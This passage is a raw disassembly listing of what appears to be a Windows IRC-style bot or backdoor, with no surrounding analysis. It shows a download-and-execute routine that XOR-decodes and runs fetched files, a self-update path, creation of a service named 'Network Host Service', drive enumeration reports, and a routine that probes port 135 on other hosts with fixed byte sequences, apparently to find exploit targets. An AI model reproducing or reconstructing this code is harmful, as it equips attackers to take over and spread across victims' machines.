XREF: sub_401D13+9j add esi, 80h cmp esi, offset dword_432FB8 jl short loc_401D19 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_401D40: ; CODE XREF: sub_401D13+19j xor eax, eax inc eax pop esi retn sub_401D13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D45 proc near ; DATA XREF: sub_4078FA+45C9o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] rep movsd xor edi, edi xor edx, edx inc edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_401D98 push edx push [ebp+var_14] lea eax, [ebp+var_118] push offset aLogBegin ; "[LOG]: Begin" push eax push [ebp+var_11C] call sub_4045DD add esp, 14h loc_401D98: ; CODE XREF: sub_401D45+33j cmp [ebp+var_98], 0 jz short loc_401DB8 lea eax, [ebp+var_98] push eax call sub_412F42 test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_401DB8 mov [ebp+var_8], eax loc_401DB8: ; CODE XREF: sub_401D45+5Aj ; sub_401D45+6Ej and [ebp+arg_0], 0 mov esi, offset dword_42EFB8 loc_401DC1: ; CODE XREF: sub_401D45+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_401E1B cmp byte ptr [esi], 0 jz short loc_401E0A cmp [ebp+var_98], 0 jz short loc_401DF0 cmp [ebp+var_4], 0 jnz short loc_401DF0 lea eax, [ebp+var_98] push eax push esi call sub_405AD5 test eax, eax pop ecx pop ecx jz short loc_401E0A loc_401DF0: ; CODE XREF: sub_401D45+90j ; sub_401D45+96j push edi push [ebp+var_14] lea eax, [ebp+var_118] push esi push eax push [ebp+var_11C] call sub_4045DD add esp, 14h loc_401E0A: ; CODE XREF: sub_401D45+87j ; sub_401D45+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_432FB8 jl short loc_401DC1 loc_401E1B: ; CODE XREF: sub_401D45+82j lea eax, [ebp+var_31C] push offset aLogListComplet ; "[LOG]: List complete." push eax call sub_412BB5 xor esi, esi cmp [ebp+var_10], esi pop ecx pop ecx jnz short loc_401E55 push esi push [ebp+var_14] lea eax, [ebp+var_31C] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_4045DD add esp, 14h loc_401E55: ; CODE XREF: sub_401D45+EEj lea eax, [ebp+var_31C] push eax call sub_401C33 push [ebp+var_18] call sub_4111AE pop ecx pop ecx push esi call ds:dword_41F014 int 3 ; Trap to Debugger sub_401D45 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E73 proc near ; CODE XREF: sub_405915+1Ep ; sub_40D1EF+34Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset aNetworkHostSer ; "Network Host Service" loc_401E83: ; CODE XREF: sub_401E73+6Fj push ebx lea eax, [ebp+var_4] push eax push ebx push 0F003Fh push ebx push ebx push ebx push off_42A354[edi] push dword_42A350[edi] call dword_4334E8 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_401EC9 lea edx, [eax+1] loc_401EAD: ; CODE XREF: sub_401E73+3Fj mov cl, [eax] inc eax cmp cl, bl jnz short loc_401EAD sub eax, edx push eax push [ebp+arg_0] push 1 push ebx push esi push [ebp+var_4] call dword_433484 jmp short loc_401ED3 ; --------------------------------------------------------------------------- loc_401EC9: ; CODE XREF: sub_401E73+35j push esi push [ebp+var_4] call dword_4334DC loc_401ED3: ; CODE XREF: sub_401E73+54j push [ebp+var_4] call dword_43357C add edi, 8 cmp edi, 18h jb short loc_401E83 pop edi pop esi pop ebx leave retn sub_401E73 endp ; =============== S U B R O U T I N E ======================================= sub_401EE9 proc near ; CODE XREF: sub_401F06+109p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_401F05 loc_401EF5: ; CODE XREF: sub_401EE9+1Aj mov dl, byte_42AE5C xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_401EF5 locret_401F05: ; CODE XREF: sub_401EE9+Aj retn sub_401EE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401F06 proc near ; DATA XREF: sub_4078FA+287Eo ; sub_4078FA+2D24o var_88C = qword ptr -88Ch var_880 = qword ptr -880h var_810 = byte ptr -810h var_610 = byte ptr -610h var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_38C = byte ptr -38Ch var_28C = byte ptr -28Ch var_18C = byte ptr -18Ch var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_68 = dword ptr -68h var_5C = dword ptr -5Ch var_3C = dword ptr -3Ch var_38 = word ptr -38h var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 810h mov eax, [ebp+arg_0] push ebx push esi push edi xor ebx, ebx push ebx mov esi, eax mov ecx, 0EAh lea edi, [ebp+var_410] rep movsd push ebx xor esi, esi push ebx inc esi mov [eax+3A4h], esi push ebx lea eax, [ebp+var_38C] push eax push dword_4335E0 call dword_4334A8 cmp eax, ebx mov [ebp+var_C], eax jz loc_4023B5 push ebx push ebx push 2 push ebx push ebx push 40000000h lea eax, [ebp+var_28C] push eax call ds:dword_41F03C cmp eax, esi mov [ebp+var_10], eax jnb short loc_401FCD lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_610] push offset aDownloadCouldn ; "[DOWNLOAD]: Couldn't open file: %s." push eax call sub_412BB5 add esp, 0Ch cmp [ebp+var_74], ebx jnz short loc_401FB0 push ebx push [ebp+var_70] lea eax, [ebp+var_610] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_4045DD add esp, 14h loc_401FB0: ; CODE XREF: sub_401F06+88j lea eax, [ebp+var_610] push eax call sub_401C33 push [ebp+var_8C] call sub_4111AE pop ecx jmp loc_402416 ; --------------------------------------------------------------------------- loc_401FCD: ; CODE XREF: sub_401F06+68j xor esi, esi call ds:dword_41F004 mov [ebp+var_4], eax loc_401FD8: ; CODE XREF: sub_401F06+174j xor eax, eax mov ecx, 80h lea edi, [ebp+var_610] rep stosd lea eax, [ebp+arg_0] push eax push 200h lea eax, [ebp+var_610] push eax push [ebp+var_C] call dword_43354C cmp [ebp+var_78], ebx jz short loc_402016 push [ebp+arg_0] lea eax, [ebp+var_610] push eax call sub_401EE9 pop ecx pop ecx loc_402016: ; CODE XREF: sub_401F06+FDj push ebx lea eax, [ebp+var_14] push eax push [ebp+arg_0] lea eax, [ebp+var_610] push eax push [ebp+var_10] call ds:dword_41F038 add esi, [ebp+arg_0] cmp [ebp+var_80], ebx jz short loc_40203B cmp esi, [ebp+var_80] ja short loc_402080 loc_40203B: ; CODE XREF: sub_401F06+12Ej mov eax, esi shr eax, 0Ah push eax lea eax, [ebp+var_38C] push eax mov eax, [ebp+var_8C] imul eax, 234h add eax, offset dword_434138 cmp [ebp+var_88], 1 jz short loc_402069 push offset aDownloadFileDo ; "[DOWNLOAD]: File download: %s (%dKB tra"... jmp short loc_40206E ; --------------------------------------------------------------------------- loc_402069: ; CODE XREF: sub_401F06+15Aj push offset aDownloadUpdate ; "[DOWNLOAD]: Update: %s (%dKB transferre"... loc_40206E: ; CODE XREF: sub_401F06+161j push eax call sub_412BB5 add esp, 10h cmp [ebp+arg_0], ebx ja loc_401FD8 loc_402080: ; CODE XREF: sub_401F06+133j cmp [ebp+var_80], ebx mov [ebp+var_8], 1 jz short loc_4020D5 cmp esi, [ebp+var_80] jz short loc_4020D5 push [ebp+var_80] lea eax, [ebp+var_610] push esi push offset aDownloadFilesi ; "[DOWNLOAD]: Filesize is incorrect: (%d "... push eax mov [ebp+var_8], ebx call sub_412BB5 push ebx push [ebp+var_70] lea eax, [ebp+var_610] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_4045DD lea eax, [ebp+var_610] push eax call sub_401C33 add esp, 28h loc_4020D5: ; CODE XREF: sub_401F06+184j ; sub_401F06+189j call ds:dword_41F004 sub eax, [ebp+var_4] xor edx, edx mov ecx, 3E8h div ecx xor edx, edx push [ebp+var_10] mov ecx, eax inc ecx mov eax, esi div ecx mov edi, eax call ds:dword_41F034 cmp [ebp+var_8], ebx jz loc_402402 cmp [ebp+var_88], 1 jz loc_4022C6 test edi, edi mov [ebp+var_4], edi fild [ebp+var_4] jge short loc_402121 fadd ds:dbl_41FAD8 loc_402121: ; CODE XREF: sub_401F06+213j test esi, esi fmul ds:dbl_41FAD0 push ecx push ecx fstp [esp+880h+var_880] lea eax, [ebp+var_28C] mov [ebp+var_4], esi fild [ebp+var_4] push eax jge short loc_402143 fadd ds:dbl_41FAD8 loc_402143: ; CODE XREF: sub_401F06+235j fmul ds:dbl_41FAD0 push ecx push ecx lea eax, [ebp+var_610] fstp [esp+88Ch+var_88C] push offset aDownloadDownlo ; "[DOWNLOAD]: Downloaded %.1f KB to %s @ "... push eax call sub_412BB5 add esp, 1Ch cmp [ebp+var_74], ebx jnz short loc_402187 push ebx push [ebp+var_70] lea eax, [ebp+var_610] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_4045DD add esp, 14h loc_402187: ; CODE XREF: sub_401F06+25Fj lea eax, [ebp+var_610] push eax call sub_401C33 cmp [ebp+var_84], 1 pop ecx jnz loc_402402 cmp [ebp+var_74], ebx jnz short loc_4021F1 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_610] push offset aDownloadOpenni ; "[DOWNLOAD]: Openning: %s %s." push eax call sub_412BB5 push ebx push [ebp+var_70] lea eax, [ebp+var_610] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_4045DD lea eax, [ebp+var_610] push eax call sub_401C33 add esp, 28h loc_4021F1: ; CODE XREF: sub_401F06+29Ej xor eax, eax lea edi, [ebp+var_24] stosd stosd stosd stosd push 11h xor eax, eax pop ecx lea edi, [ebp+var_68] rep stosd mov ecx, 80h lea edi, [ebp+var_810] mov [ebp+var_5C], (offset asc_41FA74+2) mov [ebp+var_68], 44h mov [ebp+var_3C], 1 mov [ebp+var_38], bx rep stosd loc_40222A: ; CODE XREF: sub_401F06+335j mov cl, [ebp+eax+var_28C] mov [ebp+eax+var_810], cl inc eax cmp cl, bl jnz short loc_40222A lea edi, [ebp+var_810] dec edi loc_402244: ; CODE XREF: sub_401F06+344j mov al, [edi+1] inc edi cmp al, bl jnz short loc_402244 mov esi, offset asc_41FA74 ; " " lea eax, [ebp+var_18C] movsw mov edx, eax loc_40225B: ; CODE XREF: sub_401F06+35Aj mov cl, [eax] inc eax cmp cl, bl jnz short loc_40225B lea edi, [ebp+var_810] sub eax, edx dec edi loc_40226B: ; CODE XREF: sub_401F06+36Bj mov cl, [edi+1] inc edi cmp cl, bl jnz short loc_40226B mov ecx, eax shr ecx, 2 mov esi, edx rep movsd mov ecx, eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_68] push eax push ebx push ebx push 30h push ebx push ebx push ebx lea eax, [ebp+var_810] push eax and ecx, 3 push ebx rep movsb call ds:dword_41F030 cmp eax, 1 lea eax, [ebp+var_810] push eax lea eax, [ebp+var_610] jnz short loc_4022BC push offset aDownloadApplic ; "[DOWNLOAD]: Application succesfully exe"... jmp loc_4023C7 ; --------------------------------------------------------------------------- loc_4022BC: ; CODE XREF: sub_401F06+3AAj push offset aDownloadExecut ; "[DOWNLOAD]: Execution failed: Error exe"... jmp loc_4023C7 ; --------------------------------------------------------------------------- loc_4022C6: ; CODE XREF: sub_401F06+205j test edi, edi mov [ebp+var_4], edi fild [ebp+var_4] jge short loc_4022D6 fadd ds:dbl_41FAD8 loc_4022D6: ; CODE XREF: sub_401F06+3C8j test esi, esi fmul ds:dbl_41FAD0 push ecx push ecx fstp [esp+880h+var_880] lea eax, [ebp+var_28C] mov [ebp+var_4], esi fild [ebp+var_4] push eax jge short loc_4022F8 fadd ds:dbl_41FAD8 loc_4022F8: ; CODE XREF: sub_401F06+3EAj fmul ds:dbl_41FAD0 push ecx push ecx lea eax, [ebp+var_610] fstp [esp+88Ch+var_88C] push offset aDownloadDown_0 ; "[DOWNLOAD]: Downloaded %.1fKB to %s @ %"... push eax call sub_412BB5 add esp, 1Ch cmp [ebp+var_74], ebx jnz short loc_40233C push ebx push [ebp+var_70] lea eax, [ebp+var_610] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_4045DD add esp, 14h loc_40233C: ; CODE XREF: sub_401F06+414j lea eax, [ebp+var_610] push eax call sub_401C33 xor eax, eax pop ecx lea edi, [ebp+var_24] stosd stosd push 11h stosd pop ecx stosd xor eax, eax lea edi, [ebp+var_68] rep stosd lea eax, [ebp+var_24] push eax lea eax, [ebp+var_68] push eax push ebx push ebx push 30h push ebx push ebx push ebx lea eax, [ebp+var_28C] xor esi, esi push eax inc esi push ebx mov [ebp+var_5C], (offset asc_41FA74+2) mov [ebp+var_68], 44h mov [ebp+var_3C], esi mov [ebp+var_38], bx call ds:dword_41F030 cmp eax, esi jnz short loc_4023A7 call dword_4335B8 call sub_405915 push ebx call ds:dword_41F02C loc_4023A7: ; CODE XREF: sub_401F06+48Dj lea eax, [ebp+var_28C] push eax push offset aDownloadUpda_0 ; "[DOWNLOAD]: Update failed: Error execut"... jmp short loc_4023C1 ; --------------------------------------------------------------------------- loc_4023B5: ; CODE XREF: sub_401F06+45j lea eax, [ebp+var_38C] push eax push offset aDownloadBadUrl ; "[DOWNLOAD]: Bad URL, or DNS Error: %s." loc_4023C1: ; CODE XREF: sub_401F06+4ADj lea eax, [ebp+var_610] loc_4023C7: ; CODE XREF: sub_401F06+3B1j ; sub_401F06+3BBj push eax call sub_412BB5 add esp, 0Ch cmp [ebp+var_74], ebx jnz short loc_4023F5 push ebx push [ebp+var_70] lea eax, [ebp+var_610] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_4045DD add esp, 14h loc_4023F5: ; CODE XREF: sub_401F06+4CDj lea eax, [ebp+var_610] push eax call sub_401C33 pop ecx loc_402402: ; CODE XREF: sub_401F06+1F8j ; sub_401F06+295j push [ebp+var_C] call dword_4334FC push [ebp+var_8C] call sub_4111AE loc_402416: ; CODE XREF: sub_401F06+C2j pop ecx push ebx call ds:dword_41F014 int 3 ; Trap to Debugger sub_401F06 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40241F proc near ; CODE XREF: sub_4078FA+4C27p ; sub_4078FA+4D7Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4134AF pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_40241F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402439 proc near ; CODE XREF: sub_40253D+66p ; sub_40253D+97p ... var_40 = byte ptr -40h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 40h and [ebp+var_4], 0 push esi push edi push 0Ch mov esi, offset dword_432FB8 pop ecx xor eax, eax mov edi, esi rep stosd stosw lea edi, [ebp+var_40] push ebx loc_402459: ; CODE XREF: sub_402439+50j ; sub_402439+56j push 0 push 0Ah push [ebp+arg_4] push [ebp+arg_0] call sub_413500 add cl, 30h mov [edi], cl inc edi mov [ebp+arg_0], eax or eax, edx mov [ebp+var_8], ebx mov [ebp+arg_4], edx jz short loc_402491 inc [ebp+var_4] mov eax, [ebp+var_4] push 3 cdq pop ecx idiv ecx test edx, edx jnz short loc_402459 mov byte ptr [edi], 2Ch inc edi jmp short loc_402459 ; --------------------------------------------------------------------------- loc_402491: ; CODE XREF: sub_402439+40j mov eax, esi pop ebx jmp short loc_40249B ; --------------------------------------------------------------------------- loc_402496: ; CODE XREF: sub_402439+68j mov cl, [edi] mov [eax], cl inc eax loc_40249B: ; CODE XREF: sub_402439+5Bj dec edi lea ecx, [ebp+var_40] cmp edi, ecx jnb short loc_402496 and byte ptr [eax], 0 pop edi mov eax, esi pop esi leave retn sub_402439 endp ; =============== S U B R O U T I N E ======================================= sub_4024AC proc near ; CODE XREF: sub_402658+3Ep ; sub_402658+74p arg_0 = dword ptr 4 push [esp+arg_0] call dword_43342C sub eax, 0 jz short loc_4024EF dec eax jz short loc_4024E9 dec eax dec eax jz short loc_4024E3 dec eax jz short loc_4024DD dec eax jz short loc_4024D7 dec eax jz short loc_4024D1 mov eax, offset a? ; "?" retn ; --------------------------------------------------------------------------- loc_4024D1: ; CODE XREF: sub_4024AC+1Dj mov eax, offset aRam ; "RAM" retn ; --------------------------------------------------------------------------- loc_4024D7: ; CODE XREF: sub_4024AC+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4024DD: ; CODE XREF: sub_4024AC+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4024E3: ; CODE XREF: sub_4024AC+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4024E9: ; CODE XREF: sub_4024AC+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4024EF: ; CODE XREF: sub_4024AC+Dj mov eax, offset aUnknown ; "Unknown" retn sub_4024AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4024F5 proc near ; CODE XREF: sub_40253D+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_43349C test eax, eax jz short loc_40252A lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_40252A: ; CODE XREF: sub_4024F5+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4024F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40253D proc near ; CODE XREF: sub_402658+17p ; sub_40FE1F+1BDp var_1B0 = byte ptr -1B0h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = byte ptr -30h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1B0h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_30] push eax call sub_4024F5 pop ecx pop ecx push 6 mov esi, eax pop ecx lea edi, [ebp+var_18] rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_402615 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_402615 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_402615 push ebx push 0 mov ebx, 400h push ebx push [ebp+var_14] push [ebp+var_18] call sub_4135A0 push edx push eax call sub_402439 push eax mov edi, offset aSkb ; "%sKB" push edi mov esi, 80h lea eax, [ebp+var_1B0] push esi push eax call sub_412E0D add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_4135A0 push edx push eax call sub_402439 push eax push edi lea eax, [ebp+var_130] push esi push eax call sub_412E0D add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_4135A0 push edx push eax call sub_402439 push eax push edi lea eax, [ebp+var_B0] push esi push eax call sub_412E0D add esp, 18h pop ebx jmp short loc_402644 ; --------------------------------------------------------------------------- loc_402615: ; CODE XREF: sub_40253D+2Cj ; sub_40253D+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_1B0] push esi push eax call sub_412BB5 lea eax, [ebp+var_130] push esi push eax call sub_412BB5 lea eax, [ebp+var_B0] push esi push eax call sub_412BB5 add esp, 18h loc_402644: ; CODE XREF: sub_40253D+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_1B0] mov edi, eax rep movsd pop edi pop esi leave retn sub_40253D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402658 proc near ; CODE XREF: sub_402717+Bj ; sub_402717+51p var_500 = byte ptr -500h var_380 = byte ptr -380h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_500] push ebx push eax call sub_40253D pop ecx pop ecx push 60h pop ecx mov esi, eax lea edi, [ebp+var_180] rep movsd push 7 mov edi, offset aFailed ; "failed" lea esi, [ebp+var_80] pop ecx xor eax, eax repe cmpsb jnz short loc_4026B8 push ebx push ebx call sub_4024AC pop ecx push eax push offset aMainSDriveSFai ; "[MAIN]: %s Drive (%s): Failed to stat, "... lea eax, [ebp+var_380] push 200h push eax call sub_412E0D add esp, 14h jmp short loc_4026EC ; --------------------------------------------------------------------------- loc_4026B8: ; CODE XREF: sub_402658+3Aj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4024AC pop ecx push eax push offset aMainSDriveSSTo ; "[MAIN]: %s Drive (%s): %s total, %s fre"... lea eax, [ebp+var_380] push 200h push eax call sub_412E0D add esp, 20h loc_4026EC: ; CODE XREF: sub_402658+5Ej push 1 push [ebp+arg_8] lea eax, [ebp+var_380] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD lea eax, [ebp+var_380] push eax call sub_401C33 add esp, 18h pop edi pop esi pop ebx leave retn sub_402658 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402717 proc near ; CODE XREF: sub_4078FA+4268p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp xor eax, eax cmp [ebp+arg_C], eax jz short loc_402727 pop ebp jmp sub_402658 ; --------------------------------------------------------------------------- loc_402727: ; CODE XREF: sub_402717+8j push ebx push esi push eax push eax call dword_43353C lea esi, [eax+2] push esi call sub_41344D pop ecx mov ebx, eax push ebx push esi mov [ebp+arg_C], ebx call dword_43353C cmp byte ptr [ebx], 0 jz short loc_40278A push edi loc_40274E: ; CODE XREF: sub_402717+6Dj push 4 mov edi, offset aA ; "A:\\" mov esi, ebx pop ecx xor eax, eax repe cmpsb jz short loc_402770 push ebx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_402658 add esp, 10h loc_402770: ; CODE XREF: sub_402717+45j mov eax, ebx lea edx, [eax+1] loc_402775: ; CODE XREF: sub_402717+63j mov cl, [eax] inc eax test cl, cl jnz short loc_402775 sub eax, edx lea ebx, [ebx+eax+1] cmp [ebx], cl jnz short loc_40274E mov ebx, [ebp+arg_C] pop edi loc_40278A: ; CODE XREF: sub_402717+34j push ebx call sub_412FE4 pop ecx pop esi pop ebx pop ebp retn sub_402717 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402795 proc near ; DATA XREF: sub_40D1EF+14o var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_434344 call dword_4335AC call sub_41105B call dword_4335B8 call dword_4335B8 mov ebx, ds:dword_41F000 push 64h call ebx xor eax, eax lea edi, [ebp+var_10] stosd stosd stosd stosd push 11h pop ecx xor eax, eax lea edi, [ebp+var_54] rep stosd mov esi, 104h push esi lea eax, [ebp+var_158] xor edi, edi push eax mov [ebp+var_48], (offset asc_41FA74+2) mov [ebp+var_54], 44h mov [ebp+var_28], 1 mov [ebp+var_24], di call ds:dword_41F040 push esi lea eax, [ebp+var_25C] push eax push edi call ds:dword_41F010 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_158] push eax push edi push 28h push 1 push edi push edi lea eax, [ebp+var_25C] push eax push edi call ds:dword_41F030 test eax, eax jz short loc_402854 push 64h call ebx push [ebp+var_10] mov esi, ds:dword_41F034 call esi push [ebp+var_C] call esi loc_402854: ; CODE XREF: sub_402795+A9j mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_432FEC mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 push edi call ds:dword_41F02C int 3 ; Trap to Debugger sub_402795 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402875 proc near ; CODE XREF: sub_4028A8+11Cp ; sub_4028A8+145p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov edx, [ebp+arg_4] sub edx, [ebp+arg_C] push ebx push esi xor eax, eax test edx, edx push edi jle short loc_40289D loc_402887: ; CODE XREF: sub_402875+26j mov esi, [ebp+arg_0] mov ecx, [ebp+arg_C] mov edi, [ebp+arg_8] add esi, eax xor ebx, ebx repe cmpsb jz short loc_4028A4 inc eax cmp eax, edx jl short loc_402887 loc_40289D: ; CODE XREF: sub_402875+10j xor al, al loc_40289F: ; CODE XREF: sub_402875+31j pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_4028A4: ; CODE XREF: sub_402875+21j mov al, 1 jmp short loc_40289F sub_402875 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4028A8 proc near ; CODE XREF: .text:00412172p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_412DD0 mov eax, [ebp+arg_4] dec eax jz short loc_4028E5 dec eax jz short loc_4028C3 dec eax xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4028C3: ; CODE XREF: sub_4028A8+14j push 3 push 1388h push [ebp+arg_0] call dword_433514 push eax call sub_4015FE add esp, 0Ch neg eax sbb eax, eax and eax, 3 leave retn ; --------------------------------------------------------------------------- loc_4028E5: ; CODE XREF: sub_4028A8+11j push ebx push esi push 6 push 1 push 2 call dword_4334A0 mov esi, eax or ebx, 0FFFFFFFFh xor eax, eax cmp esi, ebx mov [ebp+arg_4], esi jz loc_402A0A push edi lea edi, [ebp+var_10] stosd stosd stosd stosd push 87h mov [ebp+var_10], 2 call dword_4335EC push [ebp+arg_0] mov [ebp+var_E], ax call sub_406B1D pop ecx mov [ebp+var_C], eax push 10h lea eax, [ebp+var_10] push eax push esi call dword_433458 cmp eax, ebx jz short loc_402954 xor edi, edi push edi push 48h push offset dword_42A368 push esi call dword_433534 cmp eax, ebx jnz short loc_40295B loc_402954: ; CODE XREF: sub_4028A8+95j ; sub_4028A8+CCj ... xor esi, esi jmp loc_4029FE ; --------------------------------------------------------------------------- loc_40295B: ; CODE XREF: sub_4028A8+AAj push edi mov esi, 2000h push esi lea eax, [ebp+var_2010] push eax push [ebp+arg_4] call dword_433414 cmp eax, ebx jz short loc_402954 cmp [ebp+var_200E], 0Ch jnz short loc_402954 push edi push 18h push offset dword_42A3B4 push [ebp+arg_4] call dword_433534 cmp eax, ebx jz short loc_402954 push edi push esi lea eax, [ebp+var_2010] push eax push [ebp+arg_4] call dword_433414 mov esi, eax cmp esi, ebx jz short loc_402954 cmp [ebp+var_200E], 2 jnz short loc_402954 push 10h push offset loc_42A3D0 lea eax, [ebp+var_2010] push esi push eax call sub_402875 add esp, 10h test al, al jz short loc_4029DE xor eax, eax cmp esi, 12Ch setnl al inc eax jmp short loc_4029FC ; --------------------------------------------------------------------------- loc_4029DE: ; CODE XREF: sub_4028A8+126j push 10h push offset dword_42A3E4 lea eax, [ebp+var_2010] push esi push eax call sub_402875 add esp, 10h neg al sbb eax, eax and eax, 3 loc_4029FC: ; CODE XREF: sub_4028A8+134j mov esi, eax loc_4029FE: ; CODE XREF: sub_4028A8+AEj push [ebp+arg_4] call dword_4335AC mov eax, esi pop edi loc_402A0A: ; CODE XREF: sub_4028A8+57j pop esi pop ebx leave retn sub_4028A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A0E proc near ; CODE XREF: sub_402B1D+4A2p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 